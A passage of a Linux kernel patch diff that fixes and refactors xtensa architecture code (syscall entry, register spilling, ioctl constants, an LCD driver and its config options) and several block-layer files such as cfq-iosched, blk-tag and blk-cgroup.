boards, kernel may output + progress messages there during bootup/shutdown. It may be useful + during board bringup. + + If unsure, say N. + +config XTFPGA_LCD_BASE_ADDR + hex "XTFPGA LCD base address" + depends on XTFPGA_LCD + default "0x0d0c0000" + help + Base address of the LCD controller inside KIO region. + Different boards from XTFPGA family have LCD controller at different + addresses. Please consult prototyping user guide for your board for + the correct address. Wrong address here may lead to hardware lockup. + +config XTFPGA_LCD_8BIT_ACCESS + bool "Use 8-bit access to XTFPGA LCD" + depends on XTFPGA_LCD + default n + help + LCD may be connected with 4- or 8-bit interface, 8-bit access may + only be used with 8-bit interface. Please consult prototyping user + guide for your board for the correct interface width. + endmenu source "net/Kconfig" diff --git a/arch/xtensa/Makefile b/arch/xtensa/Makefile index 136224b74d4f0..81250ece3062a 100644 --- a/arch/xtensa/Makefile +++ b/arch/xtensa/Makefile @@ -55,10 +55,10 @@ ifneq ($(CONFIG_LD_NO_RELAX),) LDFLAGS := --no-relax endif -ifeq ($(shell echo -e __XTENSA_EB__ | $(CC) -E - | grep -v "\#"),1) +ifeq ($(shell echo __XTENSA_EB__ | $(CC) -E - | grep -v "\#"),1) CHECKFLAGS += -D__XTENSA_EB__ endif -ifeq ($(shell echo -e __XTENSA_EL__ | $(CC) -E - | grep -v "\#"),1) +ifeq ($(shell echo __XTENSA_EL__ | $(CC) -E - | grep -v "\#"),1) CHECKFLAGS += -D__XTENSA_EL__ endif diff --git a/arch/xtensa/boot/Makefile b/arch/xtensa/boot/Makefile index 64ffc4b53df64..ca20a892021bb 100644 --- a/arch/xtensa/boot/Makefile +++ b/arch/xtensa/boot/Makefile @@ -12,7 +12,7 @@ KBUILD_CFLAGS += -fno-builtin -Iarch/$(ARCH)/boot/include HOSTFLAGS += -Iarch/$(ARCH)/boot/include -BIG_ENDIAN := $(shell echo -e __XTENSA_EB__ | $(CC) -E - | grep -v "\#") +BIG_ENDIAN := $(shell echo __XTENSA_EB__ | $(CC) -E - | grep -v "\#") export ccflags-y export BIG_ENDIAN diff --git a/arch/xtensa/include/asm/pgtable.h b/arch/xtensa/include/asm/pgtable.h index 8f017eb309bda..7279b9e695e19 100644 --- a/arch/xtensa/include/asm/pgtable.h +++ b/arch/xtensa/include/asm/pgtable.h @@ -68,7 +68,12 @@ #define VMALLOC_START 0xC0000000 #define VMALLOC_END 0xC7FEFFFF #define TLBTEMP_BASE_1 0xC7FF0000 -#define TLBTEMP_BASE_2 0xC7FF8000 +#define TLBTEMP_BASE_2 (TLBTEMP_BASE_1 + DCACHE_WAY_SIZE) +#if 2 * DCACHE_WAY_SIZE > ICACHE_WAY_SIZE +#define TLBTEMP_SIZE (2 * DCACHE_WAY_SIZE) +#else +#define TLBTEMP_SIZE ICACHE_WAY_SIZE +#endif /* * Xtensa Linux config PTE layout (when present): diff --git a/arch/xtensa/include/asm/traps.h b/arch/xtensa/include/asm/traps.h index f2faa58f9a43f..03d02df47b9a9 100644 --- a/arch/xtensa/include/asm/traps.h +++ b/arch/xtensa/include/asm/traps.h @@ -24,30 +24,39 @@ static inline void spill_registers(void) { #if XCHAL_NUM_AREGS > 16 __asm__ __volatile__ ( - " call12 1f\n" + " call8 1f\n" " _j 2f\n" " retw\n" " .align 4\n" "1:\n" +#if XCHAL_NUM_AREGS == 32 + " _entry a1, 32\n" + " addi a8, a0, 3\n" + " _entry a1, 16\n" + " mov a12, a12\n" + " retw\n" +#else " _entry a1, 48\n" - " addi a12, a0, 3\n" -#if XCHAL_NUM_AREGS > 32 - " .rept (" __stringify(XCHAL_NUM_AREGS) " - 32) / 12\n" + " call12 1f\n" + " retw\n" + " .align 4\n" + "1:\n" + " .rept (" __stringify(XCHAL_NUM_AREGS) " - 16) / 12\n" " _entry a1, 48\n" " mov a12, a0\n" " .endr\n" -#endif - " _entry a1, 48\n" + " _entry a1, 16\n" #if XCHAL_NUM_AREGS % 12 == 0 - " mov a8, a8\n" -#elif XCHAL_NUM_AREGS % 12 == 4 " mov a12, a12\n" -#elif XCHAL_NUM_AREGS % 12 == 8 +#elif XCHAL_NUM_AREGS % 12 == 4 " mov a4, a4\n" +#elif XCHAL_NUM_AREGS % 12 == 8 + " mov a8, a8\n" #endif " retw\n" +#endif "2:\n" - : : : "a12", "a13", "memory"); + : : : "a8", "a9", "memory"); #else __asm__ __volatile__ ( " mov a12, a12\n" diff --git a/arch/xtensa/include/asm/uaccess.h b/arch/xtensa/include/asm/uaccess.h index fd686dc45d1a9..c7211e7e182d5 100644 --- a/arch/xtensa/include/asm/uaccess.h +++ b/arch/xtensa/include/asm/uaccess.h @@ -52,7 +52,12 @@ */ .macro get_fs ad, sp GET_CURRENT(\ad,\sp) +#if THREAD_CURRENT_DS > 1020 + addi \ad, \ad, TASK_THREAD + l32i \ad, \ad, THREAD_CURRENT_DS - TASK_THREAD +#else l32i \ad, \ad, THREAD_CURRENT_DS +#endif .endm /* diff --git a/arch/xtensa/include/uapi/asm/ioctls.h b/arch/xtensa/include/uapi/asm/ioctls.h index b4cb1100c0fb0..a47909f0c34b4 100644 --- a/arch/xtensa/include/uapi/asm/ioctls.h +++ b/arch/xtensa/include/uapi/asm/ioctls.h @@ -28,17 +28,17 @@ #define TCSETSW 0x5403 #define TCSETSF 0x5404 -#define TCGETA _IOR('t', 23, struct termio) -#define TCSETA _IOW('t', 24, struct termio) -#define TCSETAW _IOW('t', 25, struct termio) -#define TCSETAF _IOW('t', 28, struct termio) +#define TCGETA 0x80127417 /* _IOR('t', 23, struct termio) */ +#define TCSETA 0x40127418 /* _IOW('t', 24, struct termio) */ +#define TCSETAW 0x40127419 /* _IOW('t', 25, struct termio) */ +#define TCSETAF 0x4012741C /* _IOW('t', 28, struct termio) */ #define TCSBRK _IO('t', 29) #define TCXONC _IO('t', 30) #define TCFLSH _IO('t', 31) -#define TIOCSWINSZ _IOW('t', 103, struct winsize) -#define TIOCGWINSZ _IOR('t', 104, struct winsize) +#define TIOCSWINSZ 0x40087467 /* _IOW('t', 103, struct winsize) */ +#define TIOCGWINSZ 0x80087468 /* _IOR('t', 104, struct winsize) */ #define TIOCSTART _IO('t', 110) /* start output, like ^Q */ #define TIOCSTOP _IO('t', 111) /* stop output, like ^S */ #define TIOCOUTQ _IOR('t', 115, int) /* output queue size */ @@ -88,7 +88,6 @@ #define TIOCSETD _IOW('T', 35, int) #define TIOCGETD _IOR('T', 36, int) #define TCSBRKP _IOW('T', 37, int) /* Needed for POSIX tcsendbreak()*/ -#define TIOCTTYGSTRUCT _IOR('T', 38, struct tty_struct) /* For debugging only*/ #define TIOCSBRK _IO('T', 39) /* BSD compatibility */ #define TIOCCBRK _IO('T', 40) /* BSD compatibility */ #define TIOCGSID _IOR('T', 41, pid_t) /* Return the session ID of FD*/ @@ -114,8 +113,10 @@ #define TIOCSERGETLSR _IOR('T', 89, unsigned int) /* Get line status reg. */ /* ioctl (fd, TIOCSERGETLSR, &result) where result may be as below */ # define TIOCSER_TEMT 0x01 /* Transmitter physically empty */ -#define TIOCSERGETMULTI _IOR('T', 90, struct serial_multiport_struct) /* Get multiport config */ -#define TIOCSERSETMULTI _IOW('T', 91, struct serial_multiport_struct) /* Set multiport config */ +#define TIOCSERGETMULTI 0x80a8545a /* Get multiport config */ + /* _IOR('T', 90, struct serial_multiport_struct) */ +#define TIOCSERSETMULTI 0x40a8545b /* Set multiport config */ + /* _IOW('T', 91, struct serial_multiport_struct) */ #define TIOCMIWAIT _IO('T', 92) /* wait for a change on serial input line(s) */ #define TIOCGICOUNT 0x545D /* read serial port inline interrupt counts */ diff --git a/arch/xtensa/include/uapi/asm/unistd.h b/arch/xtensa/include/uapi/asm/unistd.h index 51940fec6990f..d07c1886bc8f4 100644 --- a/arch/xtensa/include/uapi/asm/unistd.h +++ b/arch/xtensa/include/uapi/asm/unistd.h @@ -384,7 +384,8 @@ __SYSCALL(174, sys_chroot, 1) #define __NR_pivot_root 175 __SYSCALL(175, sys_pivot_root, 2) #define __NR_umount 176 -__SYSCALL(176, sys_umount, 2) +__SYSCALL(176, sys_oldumount, 1) +#define __ARCH_WANT_SYS_OLDUMOUNT #define __NR_swapoff 177 __SYSCALL(177, sys_swapoff, 1) #define __NR_sync 178 @@ -714,7 +715,7 @@ __SYSCALL(323, sys_process_vm_writev, 6) __SYSCALL(324, sys_name_to_handle_at, 5) #define __NR_open_by_handle_at 325 __SYSCALL(325, sys_open_by_handle_at, 3) -#define __NR_sync_file_range 326 +#define __NR_sync_file_range2 326 __SYSCALL(326, sys_sync_file_range2, 6) #define __NR_perf_event_open 327 __SYSCALL(327, sys_perf_event_open, 5) diff --git a/arch/xtensa/kernel/entry.S b/arch/xtensa/kernel/entry.S index aa7f9add7d773..b268d3cc01d1d 100644 --- a/arch/xtensa/kernel/entry.S +++ b/arch/xtensa/kernel/entry.S @@ -549,12 +549,13 @@ user_exception_exit: * (if we have restored WSBITS-1 frames). */ +2: #if XCHAL_HAVE_THREADPTR l32i a3, a1, PT_THREADPTR wur a3, threadptr #endif -2: j common_exception_exit + j common_exception_exit /* This is the kernel exception exit. * We avoided to do a MOVSP when we entered the exception, but we @@ -1121,9 +1122,8 @@ ENTRY(fast_syscall_xtensa) movi a7, 4 # sizeof(unsigned int) access_ok a3, a7, a0, a2, .Leac # a0: scratch reg, a2: sp - addi a6, a6, -1 # assuming SYS_XTENSA_ATOMIC_SET = 1 - _bgeui a6, SYS_XTENSA_COUNT - 1, .Lill - _bnei a6, SYS_XTENSA_ATOMIC_CMP_SWP - 1, .Lnswp + _bgeui a6, SYS_XTENSA_COUNT, .Lill + _bnei a6, SYS_XTENSA_ATOMIC_CMP_SWP, .Lnswp /* Fall through for ATOMIC_CMP_SWP. */ @@ -1135,27 +1135,26 @@ TRY s32i a5, a3, 0 # different, modify value l32i a7, a2, PT_AREG7 # restore a7 l32i a0, a2, PT_AREG0 # restore a0 movi a2, 1 # and return 1 - addi a6, a6, 1 # restore a6 (really necessary?) rfe 1: l32i a7, a2, PT_AREG7 # restore a7 l32i a0, a2, PT_AREG0 # restore a0 movi a2, 0 # return 0 (note that we cannot set - addi a6, a6, 1 # restore a6 (really necessary?) rfe .Lnswp: /* Atomic set, add, and exg_add. */ TRY l32i a7, a3, 0 # orig + addi a6, a6, -SYS_XTENSA_ATOMIC_SET add a0, a4, a7 # + arg moveqz a0, a4, a6 # set + addi a6, a6, SYS_XTENSA_ATOMIC_SET TRY s32i a0, a3, 0 # write new value mov a0, a2 mov a2, a7 l32i a7, a0, PT_AREG7 # restore a7 l32i a0, a0, PT_AREG0 # restore a0 - addi a6, a6, 1 # restore a6 (really necessary?) rfe CATCH @@ -1164,7 +1163,7 @@ CATCH movi a2, -EFAULT rfe -.Lill: l32i a7, a2, PT_AREG0 # restore a7 +.Lill: l32i a7, a2, PT_AREG7 # restore a7 l32i a0, a2, PT_AREG0 # restore a0 movi a2, -EINVAL rfe @@ -1703,7 +1702,7 @@ ENTRY(fast_second_level_miss) rsr a0, excvaddr bltu a0, a3, 2f - addi a1, a0, -(2 << (DCACHE_ALIAS_ORDER + PAGE_SHIFT)) + addi a1, a0, -TLBTEMP_SIZE bgeu a1, a3, 2f /* Check if we have to restore an ITLB mapping. */ @@ -1935,7 +1934,7 @@ ENDPROC(system_call) mov a12, a0 .endr #endif - _entry a1, 48 + _entry a1, 16 #if XCHAL_NUM_AREGS % 12 == 0 mov a8, a8 #elif XCHAL_NUM_AREGS % 12 == 4 @@ -1959,9 +1958,8 @@ ENDPROC(system_call) ENTRY(_switch_to) - entry a1, 16 + entry a1, 48 - mov a10, a2 # preserve 'prev' (a2) mov a11, a3 # and 'next' (a3) l32i a4, a2, TASK_THREAD_INFO @@ -1969,8 +1967,14 @@ ENTRY(_switch_to) save_xtregs_user a4 a6 a8 a9 a12 a13 THREAD_XTREGS_USER - s32i a0, a10, THREAD_RA # save return address - s32i a1, a10, THREAD_SP # save stack pointer +#if THREAD_RA > 1020 || THREAD_SP > 1020 + addi a10, a2, TASK_THREAD + s32i a0, a10, THREAD_RA - TASK_THREAD # save return address + s32i a1, a10, THREAD_SP - TASK_THREAD # save stack pointer +#else + s32i a0, a2, THREAD_RA # save return address + s32i a1, a2, THREAD_SP # save stack pointer +#endif /* Disable ints while we manipulate the stack pointer. */ @@ -2011,7 +2015,6 @@ ENTRY(_switch_to) load_xtregs_user a5 a6 a8 a9 a12 a13 THREAD_XTREGS_USER wsr a14, ps - mov a2, a10 # return 'prev' rsync retw diff --git a/arch/xtensa/kernel/head.S b/arch/xtensa/kernel/head.S index 7d740ebbe198e..bb12d778f64fa 100644 --- a/arch/xtensa/kernel/head.S +++ b/arch/xtensa/kernel/head.S @@ -118,7 +118,7 @@ ENTRY(_startup) wsr a0, icountlevel .set _index, 0 - .rept XCHAL_NUM_DBREAK - 1 + .rept XCHAL_NUM_DBREAK wsr a0, SREG_DBREAKC + _index .set _index, _index + 1 .endr diff --git a/arch/xtensa/kernel/pci-dma.c b/arch/xtensa/kernel/pci-dma.c index 2d9cc6dbfd78a..e8b76b8e4b291 100644 --- a/arch/xtensa/kernel/pci-dma.c +++ b/arch/xtensa/kernel/pci-dma.c @@ -49,9 +49,8 @@ dma_alloc_coherent(struct device *dev,size_t size,dma_addr_t *handle,gfp_t flag) /* We currently don't support coherent memory outside KSEG */ - if (ret < XCHAL_KSEG_CACHED_VADDR - || ret >= XCHAL_KSEG_CACHED_VADDR + XCHAL_KSEG_SIZE) - BUG(); + BUG_ON(ret < XCHAL_KSEG_CACHED_VADDR || + ret > XCHAL_KSEG_CACHED_VADDR + XCHAL_KSEG_SIZE - 1); if (ret != 0) { @@ -68,10 +67,11 @@ EXPORT_SYMBOL(dma_alloc_coherent); void dma_free_coherent(struct device *hwdev, size_t size, void *vaddr, dma_addr_t dma_handle) { - long addr=(long)vaddr+XCHAL_KSEG_CACHED_VADDR-XCHAL_KSEG_BYPASS_VADDR; + unsigned long addr = (unsigned long)vaddr + + XCHAL_KSEG_CACHED_VADDR - XCHAL_KSEG_BYPASS_VADDR; - if (addr < 0 || addr >= XCHAL_KSEG_SIZE) - BUG(); + BUG_ON(addr < XCHAL_KSEG_CACHED_VADDR || + addr > XCHAL_KSEG_CACHED_VADDR + XCHAL_KSEG_SIZE - 1); free_pages(addr, get_order(size)); } diff --git a/arch/xtensa/mm/fault.c b/arch/xtensa/mm/fault.c index 70fa7bc42b4a0..38278337d85e8 100644 --- a/arch/xtensa/mm/fault.c +++ b/arch/xtensa/mm/fault.c @@ -117,6 +117,8 @@ void do_page_fault(struct pt_regs *regs) if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); diff --git a/arch/xtensa/platforms/iss/console.c b/arch/xtensa/platforms/iss/console.c index 70cb408bc20dc..92d785fefb6d0 100644 --- a/arch/xtensa/platforms/iss/console.c +++ b/arch/xtensa/platforms/iss/console.c @@ -100,21 +100,23 @@ static void rs_poll(unsigned long priv) { struct tty_port *port = (struct tty_port *)priv; int i = 0; + int rd = 1; unsigned char c; spin_lock(&timer_lock); while (simc_poll(0)) { - simc_read(0, &c, 1); + rd = simc_read(0, &c, 1); + if (rd <= 0) + break; tty_insert_flip_char(port, c, TTY_NORMAL); i++; } if (i) tty_flip_buffer_push(port); - - - mod_timer(&serial_timer, jiffies + SERIAL_TIMER_VALUE); + if (rd) + mod_timer(&serial_timer, jiffies + SERIAL_TIMER_VALUE); spin_unlock(&timer_lock); } diff --git a/arch/xtensa/platforms/xtfpga/Makefile b/arch/xtensa/platforms/xtfpga/Makefile index b9ae206340cd5..7839d38b23378 100644 --- a/arch/xtensa/platforms/xtfpga/Makefile +++ b/arch/xtensa/platforms/xtfpga/Makefile @@ -6,4 +6,5 @@ # # Note 2! The CFLAGS definitions are in the main makefile... -obj-y = setup.o lcd.o +obj-y += setup.o +obj-$(CONFIG_XTFPGA_LCD) += lcd.o diff --git a/arch/xtensa/platforms/xtfpga/include/platform/hardware.h b/arch/xtensa/platforms/xtfpga/include/platform/hardware.h index 4416773cbde5c..b39fbcf5c6116 100644 --- a/arch/xtensa/platforms/xtfpga/include/platform/hardware.h +++ b/arch/xtensa/platforms/xtfpga/include/platform/hardware.h @@ -44,9 +44,6 @@ /* UART */ #define DUART16552_PADDR (XCHAL_KIO_PADDR + 0x0D050020) -/* LCD instruction and data addresses. */ -#define LCD_INSTR_ADDR ((char *)IOADDR(0x0D040000)) -#define LCD_DATA_ADDR ((char *)IOADDR(0x0D040004)) /* Misc. */ #define XTFPGA_FPGAREGS_VADDR IOADDR(0x0D020000) diff --git a/arch/xtensa/platforms/xtfpga/include/platform/lcd.h b/arch/xtensa/platforms/xtfpga/include/platform/lcd.h index 0e435645af5a1..4c8541ed11396 100644 --- a/arch/xtensa/platforms/xtfpga/include/platform/lcd.h +++ b/arch/xtensa/platforms/xtfpga/include/platform/lcd.h @@ -11,10 +11,25 @@ #ifndef __XTENSA_XTAVNET_LCD_H #define __XTENSA_XTAVNET_LCD_H +#ifdef CONFIG_XTFPGA_LCD /* Display string STR at position POS on the LCD. */ void lcd_disp_at_pos(char *str, unsigned char pos); /* Shift the contents of the LCD display left or right. */ void lcd_shiftleft(void); void lcd_shiftright(void); +#else +static inline void lcd_disp_at_pos(char *str, unsigned char pos) +{ +} + +static inline void lcd_shiftleft(void) +{ +} + +static inline void lcd_shiftright(void) +{ +} +#endif + #endif diff --git a/arch/xtensa/platforms/xtfpga/lcd.c b/arch/xtensa/platforms/xtfpga/lcd.c index 2872301598df2..4dc0c1b43f4bf 100644 --- a/arch/xtensa/platforms/xtfpga/lcd.c +++ b/arch/xtensa/platforms/xtfpga/lcd.c @@ -1,50 +1,63 @@ /* - * Driver for the LCD display on the Tensilica LX60 Board. + * Driver for the LCD display on the Tensilica XTFPGA board family. + * http://www.mytechcorp.com/cfdata/productFile/File1/MOC-16216B-B-A0A04.pdf * * This file is subject to the terms and conditions of the GNU General Public * License. See the file "COPYING" in the main directory of this archive * for more details. * * Copyright (C) 2001, 2006 Tensilica Inc. + * Copyright (C) 2015 Cadence Design Systems Inc. */ -/* - * - * FIXME: this code is from the examples from the LX60 user guide. - * - * The lcd_pause function does busy waiting, which is probably not - * great. Maybe the code could be changed to use kernel timers, or - * change the hardware to not need to wait. - */ - +#include #include #include #include #include -#include -#define LCD_PAUSE_ITERATIONS 4000 +/* LCD instruction and data addresses. */ +#define LCD_INSTR_ADDR ((char *)IOADDR(CONFIG_XTFPGA_LCD_BASE_ADDR)) +#define LCD_DATA_ADDR (LCD_INSTR_ADDR + 4) + #define LCD_CLEAR 0x1 #define LCD_DISPLAY_ON 0xc /* 8bit and 2 lines display */ #define LCD_DISPLAY_MODE8BIT 0x38 +#define LCD_DISPLAY_MODE4BIT 0x28 #define LCD_DISPLAY_POS 0x80 #define LCD_SHIFT_LEFT 0x18 #define LCD_SHIFT_RIGHT 0x1c +static void lcd_put_byte(u8 *addr, u8 data) +{ +#ifdef CONFIG_XTFPGA_LCD_8BIT_ACCESS + ACCESS_ONCE(*addr) = data; +#else + ACCESS_ONCE(*addr) = data & 0xf0; + ACCESS_ONCE(*addr) = (data << 4) & 0xf0; +#endif +} + static int __init lcd_init(void) { - *LCD_INSTR_ADDR = LCD_DISPLAY_MODE8BIT; + ACCESS_ONCE(*LCD_INSTR_ADDR) = LCD_DISPLAY_MODE8BIT; mdelay(5); - *LCD_INSTR_ADDR = LCD_DISPLAY_MODE8BIT; + ACCESS_ONCE(*LCD_INSTR_ADDR) = LCD_DISPLAY_MODE8BIT; udelay(200); - *LCD_INSTR_ADDR = LCD_DISPLAY_MODE8BIT; + ACCESS_ONCE(*LCD_INSTR_ADDR) = LCD_DISPLAY_MODE8BIT; + udelay(50); +#ifndef CONFIG_XTFPGA_LCD_8BIT_ACCESS + ACCESS_ONCE(*LCD_INSTR_ADDR) = LCD_DISPLAY_MODE4BIT; + udelay(50); + lcd_put_byte(LCD_INSTR_ADDR, LCD_DISPLAY_MODE4BIT); udelay(50); - *LCD_INSTR_ADDR = LCD_DISPLAY_ON; +#endif + lcd_put_byte(LCD_INSTR_ADDR, LCD_DISPLAY_ON); udelay(50); - *LCD_INSTR_ADDR = LCD_CLEAR; + lcd_put_byte(LCD_INSTR_ADDR, LCD_CLEAR); mdelay(10); lcd_disp_at_pos("XTENSA LINUX", 0); return 0; @@ -52,10 +65,10 @@ static int __init lcd_init(void) void lcd_disp_at_pos(char *str, unsigned char pos) { - *LCD_INSTR_ADDR = LCD_DISPLAY_POS | pos; + lcd_put_byte(LCD_INSTR_ADDR, LCD_DISPLAY_POS | pos); udelay(100); while (*str != 0) { - *LCD_DATA_ADDR = *str; + lcd_put_byte(LCD_DATA_ADDR, *str); udelay(200); str++; } @@ -63,13 +76,13 @@ void lcd_disp_at_pos(char *str, unsigned char pos) void lcd_shiftleft(void) { - *LCD_INSTR_ADDR = LCD_SHIFT_LEFT; + lcd_put_byte(LCD_INSTR_ADDR, LCD_SHIFT_LEFT); udelay(50); } void lcd_shiftright(void) { - *LCD_INSTR_ADDR = LCD_SHIFT_RIGHT; + lcd_put_byte(LCD_INSTR_ADDR, LCD_SHIFT_RIGHT); udelay(50); } diff --git a/block/blk-cgroup.c b/block/blk-cgroup.c index e8918ffaf96d4..8c4e81ac5e754 100644 --- a/block/blk-cgroup.c +++ b/block/blk-cgroup.c @@ -720,8 +720,12 @@ int blkg_conf_prep(struct blkcg *blkcg, const struct blkcg_policy *pol, return -EINVAL; disk = get_gendisk(MKDEV(major, minor), &part); - if (!disk || part) + if (!disk) return -EINVAL; + if (part) { + put_disk(disk); + return -EINVAL; + } rcu_read_lock(); spin_lock_irq(disk->queue->queue_lock); @@ -876,6 +880,20 @@ void blkcg_drain_queue(struct request_queue *q) { lockdep_assert_held(q->queue_lock); + /* + * @q could be exiting and already have destroyed all blkgs as + * indicated by NULL root_blkg. If so, don't confuse policies. + */ + if (!q->root_blkg) + return; + + /* + * @q could be exiting and already have destroyed all blkgs as + * indicated by NULL root_blkg. If so, don't confuse policies. + */ + if (!q->root_blkg) + return; + blk_throtl_drain(q); } diff --git a/block/blk-core.c b/block/blk-core.c index 22f8df0c97c62..33ad0c9aabc50 100644 --- a/block/blk-core.c +++ b/block/blk-core.c @@ -3197,6 +3197,9 @@ int blk_pre_runtime_suspend(struct request_queue *q) { int ret = 0; + if (!q->dev) + return ret; + spin_lock_irq(q->queue_lock); if (q->nr_pending) { ret = -EBUSY; @@ -3224,6 +3227,9 @@ EXPORT_SYMBOL(blk_pre_runtime_suspend); */ void blk_post_runtime_suspend(struct request_queue *q, int err) { + if (!q->dev) + return; + spin_lock_irq(q->queue_lock); if (!err) { q->rpm_status = RPM_SUSPENDED; @@ -3248,6 +3254,9 @@ EXPORT_SYMBOL(blk_post_runtime_suspend); */ void blk_pre_runtime_resume(struct request_queue *q) { + if (!q->dev) + return; + spin_lock_irq(q->queue_lock); q->rpm_status = RPM_RESUMING; spin_unlock_irq(q->queue_lock); @@ -3270,6 +3279,9 @@ EXPORT_SYMBOL(blk_pre_runtime_resume); */ void blk_post_runtime_resume(struct request_queue *q, int err) { + if (!q->dev) + return; + spin_lock_irq(q->queue_lock); if (!err) { q->rpm_status = RPM_ACTIVE; diff --git a/block/blk-settings.c b/block/blk-settings.c index 44bd29f653e81..f19c2bce68d2f 100644 --- a/block/blk-settings.c +++ b/block/blk-settings.c @@ -565,7 +565,7 @@ int blk_stack_limits(struct queue_limits *t, struct queue_limits *b, bottom = max(b->physical_block_size, b->io_min) + alignment; /* Verify that top and bottom intervals line up */ - if (max(top, bottom) & (min(top, bottom) - 1)) { + if (max(top, bottom) % min(top, bottom)) { t->misaligned = 1; ret = -1; } @@ -606,7 +606,7 @@ int blk_stack_limits(struct queue_limits *t, struct queue_limits *b, /* Find lowest common alignment_offset */ t->alignment_offset = lcm(t->alignment_offset, alignment) - & (max(t->physical_block_size, t->io_min) - 1); + % max(t->physical_block_size, t->io_min); /* Verify that new alignment_offset is on a logical block boundary */ if (t->alignment_offset & (t->logical_block_size - 1)) { diff --git a/block/blk-tag.c b/block/blk-tag.c index cc345e1d8d4ea..0c51b4b34f478 100644 --- a/block/blk-tag.c +++ b/block/blk-tag.c @@ -27,18 +27,15 @@ struct request *blk_queue_find_tag(struct request_queue *q, int tag) EXPORT_SYMBOL(blk_queue_find_tag); /** - * __blk_free_tags - release a given set of tag maintenance info + * blk_free_tags - release a given set of tag maintenance info * @bqt: the tag map to free * - * Tries to free the specified @bqt. Returns true if it was - * actually freed and false if there are still references using it + * Drop the reference count on @bqt and frees it when the last reference + * is dropped. */ -static int __blk_free_tags(struct blk_queue_tag *bqt) +void blk_free_tags(struct blk_queue_tag *bqt) { - int retval; - - retval = atomic_dec_and_test(&bqt->refcnt); - if (retval) { + if (atomic_dec_and_test(&bqt->refcnt)) { BUG_ON(find_first_bit(bqt->tag_map, bqt->max_depth) < bqt->max_depth); @@ -50,9 +47,8 @@ static int __blk_free_tags(struct blk_queue_tag *bqt) kfree(bqt); } - - return retval; } +EXPORT_SYMBOL(blk_free_tags); /** * __blk_queue_free_tags - release tag maintenance info @@ -69,27 +65,12 @@ void __blk_queue_free_tags(struct request_queue *q) if (!bqt) return; - __blk_free_tags(bqt); + blk_free_tags(bqt); q->queue_tags = NULL; queue_flag_clear_unlocked(QUEUE_FLAG_QUEUED, q); } -/** - * blk_free_tags - release a given set of tag maintenance info - * @bqt: the tag map to free - * - * For externally managed @bqt frees the map. Callers of this - * function must guarantee to have released all the queues that - * might have been using this tag map. - */ -void blk_free_tags(struct blk_queue_tag *bqt) -{ - if (unlikely(!__blk_free_tags(bqt))) - BUG(); -} -EXPORT_SYMBOL(blk_free_tags); - /** * blk_queue_free_tags - release tag maintenance info * @q: the request queue for the device diff --git a/block/blk-throttle.c b/block/blk-throttle.c index 31146225f3d07..7cddfe6baf664 100644 --- a/block/blk-throttle.c +++ b/block/blk-throttle.c @@ -942,6 +942,9 @@ static u64 tg_prfill_cpu_rwstat(struct seq_file *sf, struct blkg_rwstat rwstat = { }, tmp; int i, cpu; + if (tg->stats_cpu == NULL) + return 0; + for_each_possible_cpu(cpu) { struct tg_stats_cpu *sc = per_cpu_ptr(tg->stats_cpu, cpu); diff --git a/block/cfq-iosched.c b/block/cfq-iosched.c index 231c1f335e124..002e020cbb51d 100644 --- a/block/cfq-iosched.c +++ b/block/cfq-iosched.c @@ -1275,12 +1275,16 @@ __cfq_group_service_tree_add(struct cfq_rb_root *st, struct cfq_group *cfqg) static void cfq_update_group_weight(struct cfq_group *cfqg) { - BUG_ON(!RB_EMPTY_NODE(&cfqg->rb_node)); - if (cfqg->new_weight) { cfqg->weight = cfqg->new_weight; cfqg->new_weight = 0; } +} + +static void +cfq_update_group_leaf_weight(struct cfq_group *cfqg) +{ + BUG_ON(!RB_EMPTY_NODE(&cfqg->rb_node)); if (cfqg->new_leaf_weight) { cfqg->leaf_weight = cfqg->new_leaf_weight; @@ -1299,7 +1303,7 @@ cfq_group_service_tree_add(struct cfq_rb_root *st, struct cfq_group *cfqg) /* add to the service tree */ BUG_ON(!RB_EMPTY_NODE(&cfqg->rb_node)); - cfq_update_group_weight(cfqg); + cfq_update_group_leaf_weight(cfqg); __cfq_group_service_tree_add(st, cfqg); /* @@ -1323,6 +1327,7 @@ cfq_group_service_tree_add(struct cfq_rb_root *st, struct cfq_group *cfqg) */ while ((parent = cfqg_parent(pos))) { if (propagate) { + cfq_update_group_weight(pos); propagate = !parent->nr_active++; parent->children_weight += pos->weight; } @@ -3573,6 +3578,11 @@ cfq_find_alloc_queue(struct cfq_data *cfqd, bool is_sync, struct cfq_io_cq *cic, blkcg = bio_blkcg(bio); cfqg = cfq_lookup_create_cfqg(cfqd, blkcg); + if (!cfqg) { + cfqq = &cfqd->oom_cfqq; + goto out; + } + cfqq = cic_to_cfqq(cic, is_sync); /* @@ -3609,7 +3619,7 @@ cfq_find_alloc_queue(struct cfq_data *cfqd, bool is_sync, struct cfq_io_cq *cic, } else cfqq = &cfqd->oom_cfqq; } - +out: if (new_cfqq) kmem_cache_free(cfq_pool, new_cfqq); @@ -3639,12 +3649,17 @@ static struct cfq_queue * cfq_get_queue(struct cfq_data *cfqd, bool is_sync, struct cfq_io_cq *cic, struct bio *bio, gfp_t gfp_mask) { - const int ioprio_class = IOPRIO_PRIO_CLASS(cic->ioprio); - const int ioprio = IOPRIO_PRIO_DATA(cic->ioprio); + int ioprio_class = IOPRIO_PRIO_CLASS(cic->ioprio); + int ioprio = IOPRIO_PRIO_DATA(cic->ioprio); struct cfq_queue **async_cfqq = NULL; struct cfq_queue *cfqq = NULL; if (!is_sync) { + if (!ioprio_valid(cic->ioprio)) { + struct task_struct *tsk = current; + ioprio = task_nice_ioprio(tsk); + ioprio_class = task_nice_ioclass(tsk); + } async_cfqq = cfq_async_queue_prio(cfqd, ioprio_class, ioprio); cfqq = *async_cfqq; } diff --git a/block/compat_ioctl.c b/block/compat_ioctl.c index 7c668c8a6f953..21ad6869a5cef 100644 --- a/block/compat_ioctl.c +++ b/block/compat_ioctl.c @@ -689,6 +689,7 @@ long compat_blkdev_ioctl(struct file *file, unsigned cmd, unsigned long arg) case BLKROSET: case BLKDISCARD: case BLKSECDISCARD: + case BLKZEROOUT: /* * the ones below are implemented in blkdev_locked_ioctl, * but we call blkdev_ioctl, which gets the lock for us diff --git a/block/genhd.c b/block/genhd.c index 50d8e7ac4d692..fd1946b2f31f3 100644 --- a/block/genhd.c +++ b/block/genhd.c @@ -28,10 +28,10 @@ struct kobject *block_depr; /* for extended dynamic devt allocation, currently only one major is used */ #define NR_EXT_DEVT (1 << MINORBITS) -/* For extended devt allocation. 